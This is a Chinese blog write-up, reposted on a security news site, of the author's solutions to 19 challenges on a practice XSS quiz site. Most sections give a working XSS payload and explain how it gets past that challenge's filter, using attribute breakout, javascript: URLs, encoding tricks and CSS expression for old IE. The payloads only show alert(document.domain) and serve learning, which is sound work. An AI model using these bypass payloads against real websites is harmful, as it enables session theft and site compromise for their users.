xss challenge 刷题记录

admin 2024年8月18日01:22:07评论9 views字数 2739阅读9分7秒阅读模式

很久以前学了xss,但是没有系统的刷过题,前几天看国际赛的题目有几题xss的题目,感觉还是不是很熟,干脆找个平台来做一做。
这个是一个日本人写的平台,http://xss-quiz.int21h.jp/ ,边做边记下

Challenge 1

emmm,会点html和js都能秒过,完全是裸题,直接在输入框输入

1
<script>alert(document.domain);</script>

就能过了

Challenge 2

还是水题,源码看见有个双引号,闭合一下就能进行触发了,

1
"><script>alert(document.domain);</script>

Challenge 3

这题注入点不是在输入框,是在国家,改下包就行了
xss challenge 刷题记录

Challenge 4

这题会对符号进行转义,闭合一下前面的,然后插入代码
xss challenge 刷题记录

Challenge 5

xss challenge 刷题记录
这题限制了输入长度,可以在前端页面改一下maxlength,也可以直接抓包改,然后还是能弹的

Challenge 6

这题闭合一下前面的值,加个onmouseover属性就能触发了
xss challenge 刷题记录

Challenge 7

这题跟上一题差不多,过滤了<>,还是可以继续用onmouseover去触发,图基本一样,就不放了

Challenge 8

这题提示了javascript sheme,scheme 属性设置或返回用于解释 content 属性的值的格式。在连接插入js伪链接然后弹窗
xss challenge 刷题记录

Challenge 9

这题转义了<>”,正确的解法应该是utf-7编码,然后再去输入弹窗,但是我找不到thf-7转码工具,然后用上一题的方法也能苟过去,佛辣

Challenge 10

这关可以看到,过滤了domian,但是我们可以通过重复关键词去进行绕过

1
"<script>alert(document.domadomainin);</script>

Challenge 11

这关对script和on开头的字符串都进行了过滤,也就是说script和onmouseover还有onclick都是不行的,所以只能用a标签去试一下

1
"><a href="javascript:alert(document.domain);"></a>

但是script是被过滤了,不过可以用一个unicode编码去进行绕过,最终payload:

1
"><a href=javascri&#09pt:alert(document.domain)>test</a>

Challenge 12

“s/[\x00-\x20\<>\”\’]//g;”,这个过滤有丶真实,<>”‘,0x00到0x20之间的符号也会被过滤掉
emmm,网上的wp都说

1
``onmouseover=alert(document.domain);>

可以绕过,但是要在ie的浏览器下,肉鸡电脑没有ie,苟过去了苟过去了(逃

Challenge 13

这题提示了style attribute,可以在CSS样式中利用expression去实现javascript中的onmouseover或者onmouseout事件,但是也是要ie(版本8以下)…………

1
aa:expression(onmouseover=function(){alert(document.domain)})

还有另一种方式,利用background去修改css样式

1
background-color:#ff0000;background:url("javascript:alert(document.domain);");

但是也复现不了,不知道为什么……

Challenge 14

提示s/(url|script|eval|expression)/xxx/ig;,可以看到script和expression都是被过滤了的,但是其实可以在中间引入注释符,然后成功绕过,利用实体字符进行编码绕过是不行的,过滤了&,但是进行unicode是可以的,最后的payload其实跟上一题差不多,但是有个问题,也是要ie浏览器

1
2
3
aa:exp/**/ression(onmouseover=function(){alert(document.domain)})
aa:expre\0ssion(onmouseover=function(){alert(document.domain)})
aa:expr\0056ssion(onmouseover=function(){alert(document.domain)})

Challenge 15

利用document.write去写入javascript,但是转义了<>,可以用十六进制去进行绕过,最后payload

1
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

Challenge 16

这题跟上一题考点一样,但是提示看到了\\x会转成\\\\x,所有十六进制绕过是不行的了,尝试一下unicode编码

1
\u003cscript\u003ealert(document.domain);\u003c/script\u003e

也可以八进制

1
\\74img src=x onerror=alert(document.domain)\\76

Challenge 17

这题跟宽字节注入有点像,将双引号吞了,然后进行注入,但是这个有个要求,要在老ie(6以下版本)才能进行

1
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

吞掉p1后面的引号就可以让p1第一个引号和p2的第一个引号闭合起来,然后后面再插入我们的代码,弹个domain,最后再把p2第二个引号闭合起来,就可以实现注入了

Challenge 18

这题的操作有点骚,因为对”<>都进行了转义,所以我们要对他们进行处理,先看”的十六进制:00100010,>的十六进制:00101110,<的十六进制:00111100,然后我们将最高位全部换成1,也就是10100010、10111110、10111100,转化过来就是%A2、%BE、%BC,最后的payload就是

1
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

但是这个也是有个前提,要在ie6以下才能成功

Challenge 19

这题可以找到原来的漏洞https://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
但是我去实现的时候总是返回404页面,看大佬的博客看见火狐是不能返回的,要用ie8,溜了溜了,颓了颓了

FROM:Xi4or0uji

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月18日01:22:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xss challenge 刷题记录https://cn-sec.com/archives/3074600.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息